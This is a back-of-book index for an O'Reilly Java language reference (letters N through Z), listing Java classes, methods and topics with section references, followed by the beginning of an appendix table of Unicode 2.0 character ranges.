NoSuchFieldError : (Reference page)
NoSuchFieldException : (Reference page)
NoSuchMethodError : (Reference page)
NoSuchMethodException : (Reference page)
not-a-number (NaN) value : Floating-Point Types
NotActiveException : (Reference page)
notify( ) : (Reference page)
notifyAll( ) : (Reference page)
NotSerializableException : (Reference page)
null value
null
The if/else, while, and do/while Statements
NullPointerException : (Reference page)
numbers
DateFormat class : (Reference page)
DecimalFormat class : (Reference page)
Enumeration interface : (Reference page)
internationalizing
Internationalization
Handling Local Customs
java.math package : The java.math Package
Number class : (Reference page)
NumberFormat class
Handling Local Customs
The java.text Package
(Reference page)
NumberFormatException : (Reference page)
positive/negative infinity : Floating-Point Types
psuedo-random : (Reference page)
SimpleDateFormat class : (Reference page)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

O

OBJECT attribute (<APPLET> tag)
Applet Changes
Serialized Applets
The <APPLET> Tag
Object class
Superclasses, Object, and the Class Hierarchy
Reserved Method Names
object serialization
Object Serialization
Simple Serialization
API for : Advanced Serialization
applets
Applet Changes
Serialized Applets
class versioning av nd : Serialization and Class Versioning
Externalizable interface
Object Serialization
Custom Serialization
Advanced Serialization
(Reference page)
NotSerializableException : (Reference page)
ObjectStreamException : (Reference page)
Serializable interface
Object Serialization
Custom Serialization
(Reference page)
object-oriented programming
Object-Oriented
A Scribble Applet
Classes and Objects in Java
objects
Objects
Introduction to Classes and Objects
accessing : Accessing Objects
accessing data fields of : Accessing Object Data
arrays as : Are Arrays Objects?
comparing for equality : Checking Objects for Equality
copying : Copying Objects
creating with new operator : Objects Are Instances of a Class
destroying (see garbage collection)
exception (see exceptions)
finalizing : Object Finalization
InvalidObjectException : (Reference page)
modifying simultaneously : The synchronized Statement
NullPointerException : (Reference page)
Object class
The java.lang Package
(Reference page)
ObjectInput interface : (Reference page)
ObjectInputStream class
Simple Serialization
The java.io Package
(Reference page)
ObjectInputValidation class
Advanced Serialization
(Reference page)
ObjectOutput interface : (Reference page)
ObjectOutputStream class
Simple Serialization
The java.io Package
(Reference page)
ObjectStreamClass class
Serialization and Class Versioning
(Reference page)
resurrection of : Object Finalization
string (see strings)
validating : Advanced Serialization
Vector class : (Reference page)
Observable class
The java.util Package
(Reference page)
Observer interface
The java.util Package
(Reference page)
okToUseGui( ) : (Reference page)
old keyword (in C) (see garbage collection)
openConnection( )
HttpURLConnection class : (Reference page)
URL class : (Reference page)
URLStreamHandler class : (Reference page)
openStream( ) : (Reference page)
operating system : Environment
operators : Operators
list of : Operators
optimization of class files : javac
option menus : (Reference page)
OptionalDataException : (Reference page)
OR (|) operator : Operators
ordinaryChar( ) : (Reference page)
ordinaryChars( ) : (Reference page)
OutOfMemoryError : (Reference page)
output streams
BufferedOutputStream class
The java.io Package
(Reference page)
ByteArrayOutputStream class
The java.io Package
(Reference page)
CheckedOutputStream class : (Reference page)
DataOutputStream class
The java.io Package
(Reference page)
DeflaterOutputStream class
The java.util.zip Package
(Reference page)
FileOutputStream class
The java.io Package
(Reference page)
FilterOutputStream class
The java.io Package
(Reference page)
GZIPOutputStream class : (Reference page)
ObjectOutputStream class
The java.io Package
(Reference page)
OutputStream class
The java.io Package
(Reference page)
OutputStreamWriter class
Character Encodings
(Reference page)
PipedOutputStream class
The java.io Package
(Reference page)
StreamCorruptedException : (Reference page)
ZipOutputStream class : (Reference page)
overloaded methods
Method Overloading
Method Overloading
overridden methods : Overriding Methods

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

P

pack( )
Dialog class : (Reference page)
Window class
(Reference page)
(Reference page)
package statement
The package Statement
The package and import Statements
package visibility : Modifiers
packages
Object-Oriented
No Global Variables
accessing : Access to Packages, Classes, and Class Members
Java 1.1 and : Java 1.1 Package-by-Package
naming
No Global Variables
Globally Unique Package Names
visibility and : Visibility Modifiers
paint( )
Applet class
Introduction to Applets
A First Applet
(Reference page)
Component class : Printing
PaintEvent class : (Reference page)
PaintEvent class : (Reference page)
Panel class
The java.awt Package
(Reference page)
PanelPeer interface : (Reference page)
<PARAM> HTML tag : The <PARAM> Tag
ParameterDescriptor class : (Reference page)
parameters, applet (see applets, parameters for)
Parameters: doc comment tag : Java Documentation Comment Syntax
parentheses ( ) in object creation : Object Creation
parse( )
DateFormat class : (Reference page)
MessageFormat class : (Reference page)
NumberFormat class : (Reference page)
parseByte( ) : (Reference page)
ParseException : (Reference page)
parseInt( ) : (Reference page)
parseLong( ) : (Reference page)
parseNumbers( ) : (Reference page)
parseObject( )
DateFormat class : (Reference page)
Format class : (Reference page)
NumberFormat class : (Reference page)
ParsePosition class : (Reference page)
parseShort( ) : (Reference page)
passing by reference : Terminology: Pass by Reference
passwords
debugging : java
turning off echo for : (Reference page)
paste( ) : Data Transfer with Cut-and-Paste
pathnames, getting : (Reference page)
peek( ) : (Reference page)
peekEvent( ) : (Reference page)
peers : The java.awt.peer Package
performance : High-Performance
period (see dot)
PipedInputStream class
The java.io Package
(Reference page)
PipedOutputStream class
The java.io Package
(Reference page)
PipedReader class : (Reference page)
PipedWriter class : (Reference page)
PixelGrabber class
Miscellaneous Improvements
The java.awt.image Package
(Reference page)
platform independence : Interpreted
Point class : (Reference page)
pointers
Simple
Java Has No Pointers
Polygon class : (Reference page)
pop( ) : (Reference page)
PopupMenu class (see also menus)
Popup Menus and Menu Shortcuts
(Reference page)
PopupMenuPeer interface : (Reference page)
portability : Architecture Neutral and Portable
postEvent( ) : (Reference page)
precedence, operator : Operators
preferredLayoutSize( ) : (Reference page)
preprocessor : No Preprocessor
prev( ) : (Reference page)
previous( ) : (Reference page)
CardLayout class : (Reference page)
primitive data types
Primitive Data Types
null
Primitive Data Types
boolean
The boolean Type
(Reference page)
byte : Primitive Data Types
char
The char Type
(Reference page)
Class objects for : Class Literals
double
Floating-Point Types
(Reference page)
float
Floating-Point Types
(Reference page)
int : (Reference page)
long
Integral Types
(Reference page)
short : (Reference page)
print( ) : Printing
Applet class : Introduction to Applets
PrintStream class : (Reference page)
PrintWriter class : (Reference page)
System.out class : Accessing Class Variables
printAll( ) : Printing
printing
Printing
Printing
messages to terminal : java
PrintGraphics interface : (Reference page)
PrintJob class
Printing
(Reference page)
PrintStream class : (Reference page)
PrintWriter class
The java.io Package
(Reference page)
println( )
PrintStream class : (Reference page)
PrintWriter class : (Reference page)
System.out class : Accessing Class Variables
printStackTrace( ) : (Reference page)
private modifier
Visibility Modifiers
Member Classes and Visibility Modifiers
Modifiers
printing private members : javap
Process class
The java.lang Package
(Reference page)
processActionEvent( ) : Inside the Java 1.1 Event Model
processEvent( ) : Inside the Java 1.1 Event Model
processFocusEvent( ) : Inside the Java 1.1 Event Model
processKeyEvent( ) : Inside the Java 1.1 Event Model
processMouseEvent( ) : Inside the Java 1.1 Event Model
processMouseMotionEvent( ) : Inside the Java 1.1 Event Model
programming in Java
capitalization : Defining Constants
comments
Comments
Java Documentation Comment Syntax
encapsulation : Data Hiding and Encapsulation
environment variables : Environment
exceptions : Exceptions and Exception Handling
exit value : Program Exit Value
forward references : Forward References
global variables : No Global Variables
HTML (see HTML)
javac compiler : javac
for non-English speakers : Unicode and Character Escapes
operators : Operators
pointers : Java Has No Pointers
program structure : Program Structure and Environment
reserved words : Reserved Words
setting code stack size : java
statements : Statements
properties
Properties class : (Reference page)
PropertyChangeEvent class : (Reference page)
PropertyChangeListener interface : (Reference page)
PropertyChangeSupport class : (Reference page)
PropertyDescriptor class : (Reference page)
PropertyEditor interface : (Reference page)
PropertyEditorManager class : (Reference page)
PropertyEditorSupport class : (Reference page)
PropertyResourceBundle class : (Reference page)
PropertyVetoException : (Reference page)
properties, bean : Bean Basics
editing : Defining a Simple Property Editor
property files : Using Property Files
PropertyChangeEvent class : Defining a Simple Property Editor
PropertyEditor interface : Defining a Simple Property Editor
propertyNames( ) : (Reference page)
PropertyResourceBundle class : Working with Resource Bundles
protected modifier
Visibility Modifiers
Member Classes and Visibility Modifiers
Modifiers
ProtocolException : (Reference page)
psuedo-random numbers : (Reference page)
public classes
Java Filenames and Directory Structure
Access to Packages, Classes, and Class Members
import statement : The import Statement
public modifier
Visibility Modifiers
Member Classes and Visibility Modifiers
Modifiers
pulldown menus : (Reference page)
push( ) : (Reference page)
pushBack( ) : (Reference page)
PushbackInputStream class : (Reference page)
PushbackReader class : (Reference page)
put( )
Hashtable class : (Reference page)
Properties class : (Reference page)
putNextEntry( ) : (Reference page)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Q

quotation marks, String objects and : Creating Objects
quoteChar( ) : (Reference page)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

R

radio button behavior : (Reference page)
Random class
The java.util Package
(Reference page)
RandomAccessFile class
The java.io Package
(Reference page)
read( )
CheckedInputStream class : (Reference page)
DataInputStream class : (Reference page)
FileInputStream class : (Reference page)
FileReader class : (Reference page)
FilterInputStream class : The java.io Package
FilterReader class : (Reference page)
GZIPInputStream class : (Reference page)
InflaterInputStream class : (Reference page)
InputStream class : (Reference page)
Reader class : (Reference page)
ZipInputStream class : (Reference page)
readers
BufferedReader class
The java.io Package
(Reference page)
CharArrayReader class : (Reference page)
FileReader class
Internationalization
(Reference page)
FilterReader class : (Reference page)
InputStreamReader class
Internationalization
Character Encodings
(Reference page)
LineNumberReader class : (Reference page)
PipedReader class : (Reference page)
PushbackReader class : (Reference page)
Reader class
Internationalization
The java.io Package
(Reference page)
StringReader class : (Reference page)
readExternal( )
Advanced Serialization
(Reference page)
readFully( ) : (Reference page)
readLine( )
BufferedReader class
The java.io Package
(Reference page)
DataInputStream class : (Reference page)
LineNumberReader class : (Reference page)
readObject( )
ObjectInputStream class
Object Serialization
Simple Serialization
(Reference page)
(Reference page)
Serializable interface : (Reference page)
readObject(^)
OptionalDataException : (Reference page)
readUnsignedByte( ) : (Reference page)
readUnsignedShort( ) : (Reference page)
readUTF( )
The UTF-8 Encoding
(Reference page)
ready( ) : (Reference page)
receive( ) : (Reference page)
Rectangle class : (Reference page)
reference data types : Reference Data Types
reference, passing by : Terminology: Pass by Reference
reflection
Reflection
Bean Basics
Reflection
The java.lang.reflect Package
registerEditor( ) : (Reference page)
registering a property editor : Defining a Simple Property Editor
registerValidation( ) : Advanced Serialization
ObjectInputStream class : (Reference page)
Remote Method Invocation (RMI) : Enterprise APIs: JDBC, RMI, and Security
remove( )
AWTEventMulticaster : (Reference page)
Container class : (Reference page)
Hashtable class : (Reference page)
removeItemListener( ) : (Reference page)
removeLayoutComponent( ) : (Reference page)
removePropertyChangeListener( )
Customizer interface : (Reference page)
PropertyEditor interface : Defining a Simple Property Editor
PropertyEditorSupport : (Reference page)
renameTo( ) : (Reference page)
replace( ) : (Reference page)
replaceObject( ) : Advanced Serialization
replaceText( ) : (Reference page)
ReplicateScaleFilter class
Miscellaneous Improvements
(Reference page)
reserved words : Reserved Words
reset( )
ByteArrayOutputStream class : (Reference page)
CharArrayReader class : (Reference page)
CharArrayWriter class : (Reference page)
Checksum interface : (Reference page)
InputStream class : (Reference page)
Reader class : (Reference page)
StringReader class : (Reference page)
resetSyntax( ) : (Reference page)
resolveClass( ) : Advanced Serialization
resolveObject( ) : Advanced Serialization
ResourceBundle class
Internationalization
Localizing User-Visible Messages
The java.util Package
(Reference page)
resume( ) : (Reference page)
resurrection of objects : Object Finalization
return statements : Program Exit Value
Returns: doc comment tag : Java Documentation Comment Syntax
RGBImageFilter class
The java.awt.image Package
(Reference page)
right shift (>>>) operator : Operators
RMI (Remote Method Invocation) : Enterprise APIs: JDBC, RMI, and Security
roll( ) : (Reference page)
RuleBasedCollator class : (Reference page)
run( )
Runnable interface : (Reference page)
Thread class : (Reference page)
runFinalization( )
Runtime class : (Reference page)
System class : (Reference page)
Runnable interface : (Reference page)
Runtime class
The java.lang Package
(Reference page)
RuntimeException : (Reference page)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

S

sameFile( ) : (Reference page)
sandbox model : Secure
sansserif fonts : Miscellaneous Improvements
save( ) : (Reference page)
scope versus inheritance : Scope Versus Inheritance
scribbling applet : Handling Events
scrolling
Scrollbar class : (Reference page)
ScrollbarPeer interface : (Reference page)
ScrollPane class
Miscellaneous Improvements
The ScrollPane Container
(Reference page)
ScrollPanePeer interface : (Reference page)
security
Secure
Java 1.1 Package-by-Package
Enterprise APIs: JDBC, RMI, and Security
Applet Security Restrictions
Denial of Service Attacks
loading classes : Loading Classes Securely
SecurityException : (Reference page)
SecurityManager class
Applet Security Implementation
(Reference page)
See also: doc comment tag : Java Documentation Comment Syntax
seek( ) : (Reference page)
send( )
DatagramSocket class : (Reference page)
MulticastSocket class : (Reference page)
separators, menu : (Reference page)
SequenceInputStream class : (Reference page)
Serializable interface
Object Serialization
Custom Serialization
(Reference page)
serialization (see object serialization)
serialver program
New JDK Utilities
serialver
serif fonts : Miscellaneous Improvements
ServerSocket class
The java.net Package
(Reference page)
set( )
Array class : (Reference page)
Calendar class : (Reference page)
Field class : (Reference page)
URLConnection class : (Reference page)
setActionCommand( )
ActionEvent class : (Reference page)
MenuItem class : (Reference page)
setAlignment( ) : (Reference page)
setAllowUserInteraction( ) : (Reference page)
setAsText( ) : Defining a Simple Property Editor
setBackground( ) : (Reference page)
setBound( ) : (Reference page)
setCalendar( ) : (Reference page)
setCharAt( ) : (Reference page)
setCheckboxGroup( ) : (Reference page)
setConstrained( ) : (Reference page)
setConstraints( ) : (Reference page)
setContentHandlerFactory( ) : (Reference page)
setContents( )
Data Transfer with Cut-and-Paste
(Reference page)
(Reference page)
setCursor( ) : (Reference page)
setDefault( ) : A Word About Locales
setDefaultAllowUserInteraction( ) : (Reference page)
setDefaultUseCaches( ) : (Reference page)
setDesignTime( ) : (Reference page)
setDisplayName( ) : (Reference page)
setDoInput( ) : (Reference page)
setDoOutput( ) : (Reference page)
setEchoCharacter( ) : (Reference page)
setEditable( ) : (Reference page)
setEndRule( ) : (Reference page)
setExpert( ) : (Reference page)
setFollowRedirects( ) : (Reference page)
setFont( )
Component class : (Reference page)
MenuComponent class : (Reference page)
setForeground( ) : (Reference page)
setFormat( ) : (Reference page)
setGroupingUsed( ) : (Reference page)
setGuiAvailable( ) : (Reference page)
setHelpMenu( ) : (Reference page)
setHidden( ) : (Reference page)
setHints( ) : (Reference page)
setHumanPresentableName( ) : (Reference page)
setIconImage( ) : (Reference page)
setIfModifiedSince( ) : (Reference page)
setInDefaultEventSet( ) : (Reference page)
setIndex( )
CharacterIterator interface : (Reference page)
ParsePosition class : (Reference page)
setInput( )
Deflater class : (Reference page)
Inflater class : (Reference page)
setLayout( )
Container : The java.awt Package
Container class : (Reference page)
Dialog class : (Reference page)
setLevel( ) : (Reference page)
setLineNumber( )
LineNumberInputStream class : (Reference page)
LineNumberReader class : (Reference page)
setLocale( )
MessageFormat class : (Reference page)
setMaximumFractionDigits( ) : (Reference page)
setMenuBar( ) : (Reference page)
setMethod( ) : (Reference page)
setName( ) : (Reference page)
setObject( ) : (Reference page)
setProperty( ) : (Reference page)
setPropertyEditorClass( ) : (Reference page)
setRequestMethod( ) : (Reference page)
setScrollPosition( ) : (Reference page)
setSeed( ) : (Reference page)
setShortcut( ) : (Reference page)
setShortDescription( ) : (Reference page)
setSize( ) : (Reference page)
setStartRule( ) : (Reference page)
setStrength( ) : (Reference page)
setText( ) : (Reference page)
setTime( ) : (Reference page)
setTimeZone( ) : (Reference page)
setTitle( ) : (Reference page)
setTTL( ) : (Reference page)
setUnicast( ) : (Reference page)
setUseCaches( ) : (Reference page)
setValue( )
FeatureDescriptor class : (Reference page)
PropertyEditor interface : Defining a Simple Property Editor
Scrollbar class : (Reference page)
setValues( ) : (Reference page)
shadowed methods : Shadowed Methods?
shadowed variables : Shadowed Variables
overridden methods versus : Overriding Is Not Shadowing
Shape interface : (Reference page)
shift (>>>) operator
Operators
Operators
shift (>>) operator : Operators
Shift-Tab keys : Keyboard Focus Traversal
shiftDown( ) : Key and Modifier Constants
Short class
The java.lang Package
(Reference page)
short data type : (Reference page)
shortcuts, menu
Popup Menus and Menu Shortcuts
Popup Menus and Menu Shortcuts
(Reference page)
show( ) : (Reference page)
CardLayout class : (Reference page)
Component class : (Reference page)
Dialog class : (Reference page)
FileDialog class : (Reference page)
PopupMenu class : (Reference page)
Window class : (Reference page)
showDocument( ) : (Reference page)
showStatus( )
Introduction to Applets
(Reference page)
(Reference page)
sign
The char Type
Integral Types
signed applets (see digital signatures)
SimpleBeanInfo class : (Reference page)
SimpleDateFormat class
The java.text Package
(Reference page)
SimpleTimeZone class : (Reference page)
Since: doc comment tag : Java Documentation Comment Syntax
size( )
CharArrayWriter class : (Reference page)
DataOutputStream class : (Reference page)
Vector class : (Reference page)
sizeof operator : Operators
skip( )
CheckedInputStream class : (Reference page)
InflaterInputStream class : (Reference page)
InputStream class : (Reference page)
Reader class : (Reference page)
ZipInputStream class : (Reference page)
skipBytes( ) : (Reference page)
slash (/) : Java Filenames and Directory Structure
slashSlashComments( ) : (Reference page)
slashStarComments( ) : (Reference page)
sleep( ) : (Reference page)
sockets
BindException : (Reference page)
ConnectException : (Reference page)
DatagramSocket class
The java.net Package
(Reference page)
DatagramSocketImpl class : (Reference page)
MulticastSocket class
The java.net Package
(Reference page)
ServerSocket class : (Reference page)
Socket class
The java.net Package
(Reference page)
SocketException : (Reference page)
SocketImpl class : (Reference page)
SocketImplFactory interface : (Reference page)
sound (see audio)
source files, generating (see javah)
speed (see performance)
StackOverflowError : (Reference page)
stacks
EmptyStackException : (Reference page)
setting size of : java
Stack class
The java.util Package
(Reference page)
start( )
Applet class
Introduction to Applets
(Reference page)
Thread class : (Reference page)
startsWith( ) : (Reference page)
statements : Statements
static
final variables : Defining Constants
initializers : Static Initializers
members and member classes : Restrictions on Member Classes
methods (see class methods)
variables (see class variables)
static modifier
Class Variables
Modifiers
status( ) : (Reference page)
statusAll( ) : (Reference page)
statusID( ) : (Reference page)
stop( )
Applet class
Introduction to Applets
(Reference page)
Thread class : (Reference page)
storing class files : javac
StreamCorruptedException : (Reference page)
StreamTokenizer class : (Reference page)
strings
String Literals
Creating Objects
Strings
alphabetizing, internationalization and : Handling Local Customs
concatenation
Unicode and Character Escapes
Operators
Operators
List class : (Reference page)
String class
The java.lang Package
(Reference page)
StringBuffer class
Strings
The java.lang Package
(Reference page)
StringBufferInputStream class : (Reference page)
StringCharacterIterator class : (Reference page)
StringIndexOutOfBoundsException : (Reference page)
StringReader class : (Reference page)
StringSelection class : (Reference page)
StringTokenizer class
The java.util Package
(Reference page)
StringWriter class : (Reference page)
StringSelection class : (Reference page)
structures in C : No Structures or Unions
sub-interfaces (see interfaces)
subclasses (see classes)
substring( ) : (Reference page)
super keyword
Subclass Constructors
New Syntax for Member Classes
for invoking overridden methods : Invoking an Overridden Method
with this keyword : Constructor Chaining
superclasses (see classes; overridden methods)
suspend( ) : (Reference page)
switch statement : The switch Statement
sync( ) : (Reference page)
SyncFailedException : (Reference page)
synchronized modifier
Multithreaded
Modifiers
Modifiers
synchronized statement : The synchronized Statement
synchronizing threads : (Reference page)
System class
The java.lang Package
(Reference page)
system properties
Environment
System Properties
SystemColor class
Miscellaneous Improvements
(Reference page)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

T

Tab key : Keyboard Focus Traversal
target, event : The Java 1.0 Event Model
text (see character encodings)
echo : (Reference page)
Label class : (Reference page)
representation (see character encodings)
TextArea class : (Reference page)
TextAreaPeer interface : (Reference page)
TextComponent class : (Reference page)
TextComponentPeer interface : (Reference page)
TextEvent class : (Reference page)
TextField class : (Reference page)
TextFieldPeer interface : (Reference page)
TextListener interface : (Reference page)
this keyword
How It Works
Defining a Constructor
this Again
No this
finalizers and : Object Finalization
with super keyword : Constructor Chaining
threads : Multithreaded
IllegalThreadStateException : (Reference page)
InterruptedException : (Reference page)
synchronizing : (Reference page)
Thread class
The java.lang Package
(Reference page)
ThreadDeath error : (Reference page)
ThreadGroup class : (Reference page)
throw statement : Defining and Generating Exceptions
Throwable interface
Exception Objects
catch
The java.lang Package
(Reference page)
throwing exceptions (see exceptions)
throws clause : Declaring Exceptions
Throws: doc comment tag : Java Documentation Comment Syntax
time (see also Date class)
time-to-live (TTL) values : (Reference page)
TimeZone class
The java.util Package
(Reference page)
toBack( ) : (Reference page)
toBinaryString( )
Integer class : (Reference page)
Long class : (Reference page)
toByteArray( ) : (Reference page)
toCharArray( )
CharArrayWriter class : (Reference page)
String class : (Reference page)
toFront( ) : (Reference page)
toHexString( )
Integer class : (Reference page)
Long class : (Reference page)
toLowerCase( ) : (Reference page)
toOctalString( )
Integer class : (Reference page)
Long class : (Reference page)
Toolkit class : (Reference page)
TooManyListenersException : (Reference page)
top-level classes/interfaces
An Overview of Inner Classes
Nested Top-Level Classes and Interfaces
toPattern( ) : (Reference page)
toString( )
Byte class : (Reference page)
ByteArrayOutputStream class : (Reference page)
CharArrayWriter class : (Reference page)
Integer class : (Reference page)
Long class : (Reference page)
MessageFormat class : (Reference page)
Object class : (Reference page)
PrintStream class : (Reference page)
Short class : (Reference page)
StringBuffer class : (Reference page)
StringWrinter class : (Reference page)
totalMemory( ) : (Reference page)
toUpperCase( ) : (Reference page)
traceInstructions( ) : (Reference page)
traceMethodCalls( ) : (Reference page)
Transferable interface
Cut-and-Paste
Data Transfer with Cut-and-Paste
(Reference page)
transformation formats (see UTF-8)
transient modifier
Modifiers
Object Serialization
Custom Serialization
Modifiers
translate( ) : (Reference page)
trim( ) : (Reference page)
try statement
Labelled break and continue Statements
Exception Handling
TTL values : (Reference page)
typedef keyword : No typedef
types (see data types)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

U

UCS (universal character set) : Unicode
UTF-8 encoding : The UTF-8 Encoding
Unicode character set : Unicode
escape sequences : Unicode and Character Escapes
PrintStream class and : (Reference page)
UTFDataFormatException : (Reference page)
unions in C : No Structures or Unions
UniversalActionListener class : Invoking a Named Method
UnknownError : (Reference page)
UnknownHostException : (Reference page)
UnknownServiceException : (Reference page)
unread( )
PushbackInputStream class : (Reference page)
PushbackReader class : (Reference page)
unreliable datagram packets : (Reference page)
UnsatisfiedLinkError : (Reference page)
unsigned keyword (C) : Integral Types
UnsupportedEncodingException : (Reference page)
UnsupportedFlavorException : (Reference page)
update( )
Checksum interface : (Reference page)
Observer interface : (Reference page)
PaintEvent class : (Reference page)
URLEncoder class : (Reference page)
URLs (uniform resource locators)
HttpURLConnection class : (Reference page)
MalformedURLException : (Reference page)
URL class
The java.net Package
(Reference page)
URLConnection class
The java.net Package
(Reference page)
URLStreamHandler class : (Reference page)
URLStreamHandlerFactory interface : (Reference page)
UTF-8 encoding : The UTF-8 Encoding
UTFDataFormatException : (Reference page)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

V

validateObject( )
Advanced Serialization
(Reference page)
validation
InvalidObjectException : (Reference page)
object : Advanced Serialization
ObjectInputValidation class : (Reference page)
VALUE attribute (<PARAM> tag) : The <PARAM> Tag
valueOf( )
Boolean class : (Reference page)
Byte class : (Reference page)
Float class : (Reference page)
Integer class : (Reference page)
Long class : (Reference page)
Short class : (Reference page)
String class : (Reference page)
varargs function : No Variable-Length Argument Lists
variables
array (see arrays)
in classes : Class Variables
declaring : Objects Are Instances of a Class
default values for : Primitive Data Types
forward references : Forward References
fully qualified names of : No Global Variables
global
No Global Variables
Global Variables?
IllegalAccessError : (Reference page)
inheritance : Extending a Class
initializers and : Static Initializers
local
Local Variables
Local Variable Declarations
modifiers for : Modifiers
shadowed
Shadowed Variables
Overriding Is Not Shadowing
visibility (see visibility modifiers)
Vector class
The java.util Package
(Reference page)
verification of byte-code
Secure
Byte-Code Verification
java
VerifyError : (Reference page)
version (Applet information) : Reading Applet Parameters
version numbers : serialver
Version: doc comment tag : Java Documentation Comment Syntax
versioning classes : Serialization and Class Versioning
vetableChange( ) : (Reference page)
VetoableChangeListener interface : (Reference page)
VetoableChangeSupport class : (Reference page)
virtual machine, printing instructions for : javap
VirtualMachineError : (Reference page)
Visibility interface : (Reference page)
visibility modifiers
Visibility Modifiers
Modifiers
member classes and : Member Classes and Visibility Modifiers
Void class : (Reference page)
void keyword : The void Keyword
volatile modifier
Modifiers
Modifiers
VSPACE attribute (<APPLET> tag) : The <APPLET> Tag

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

W

wait( ) : (Reference page)
waitFor( ) : (Reference page)
waitForID( ) : (Reference page)
warning messages : javac
while statement : The if/else, while, and do/while Statements
whitespaceChars( ) : (Reference page)
WIDTH attribute (<APPLET> tag) : The <APPLET> Tag
Window class : (Reference page)
windows
java.awt package : The java.awt Package
WindowAdapter class : (Reference page)
WindowEvent class : (Reference page)
WindowListener interface : (Reference page)
WindowPeer interface : (Reference page)
wordChars( ) : (Reference page)
write( )
BufferedWriter class : (Reference page)
CharArrayWriter class : (Reference page)
CheckedOutputStream class : (Reference page)
DataOutputStream class : (Reference page)
DeflaterOutputStream class : (Reference page)
FileOutputStream class : (Reference page)
FilterOutputStream class : The java.io Package
FilterWriter class : (Reference page)
GZIPOutputStream class : (Reference page)
OutputStream class : (Reference page)
PrintWriter class : (Reference page)
StringWrinter class : (Reference page)
Writer class : (Reference page)
ZipOutputStream class : (Reference page)
WriteAbortedException : (Reference page)
writeExternal( )
Advanced Serialization
(Reference page)
writeObject( )
ObjectOutputStream class
Object Serialization
Simple Serialization
(Reference page)
(Reference page)
Serializable interface : (Reference page)
writers
BufferedWriter class : (Reference page)
CharArrayWriter class : (Reference page)
FileWriter class : (Reference page)
FilterWriter class : (Reference page)
OutputStreamWriter class
Character Encodings
(Reference page)
PipedWriter class : (Reference page)
PrintWriter class
The java.io Package
(Reference page)
StringWrinter class : (Reference page)
Writer class
The java.io Package
(Reference page)
writeTo( ) : (Reference page)
writeUTF( )
The UTF-8 Encoding
(Reference page)
writing in Java (see programming in Java)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Y

yield( ) : (Reference page)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Z

zero
division by : Integral Types
negative : Floating-Point Types
null versus : null
ZIP format (see java.util.zip package)
ZipEntry class : (Reference page)
ZipException : (Reference page)
ZipFile class : (Reference page)
ZipInputStream class : (Reference page)
ZipOutputStream class : (Reference page)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


[Appendix A] The Unicode 2.0 Character Set

Java Language Reference

Previous Appendix A

A. The Unicode 2.0 Character Set

Characters | Description
\u0000 - \u1FFF | Alphabets
\u0020 - \u007F | Basic Latin
\u0080 - \u00FF | Latin-1 supplement
\u0100 - \u017F | Latin extended-A
\u0180 - \u024F | Latin extended-B
\u0250 - \u02AF | IPA extensions
\u02B0 - \u02FF | Spacing modifier letters
\u0300 - \u036F | Combining diacritical marks
\u0370 - \u03FF | Greek
\u0400 - \u04FF | Cyrillic
\u0530 - \u058F | Armenian
\u0590 - \u05FF | Hebrew
\u0600 - \u06FF | Arabic
\u0900 - \u097F | Devanagari
\u0980 - \u09FF | Bengali
\u0A00 - \u0A7F | Gurmukhi
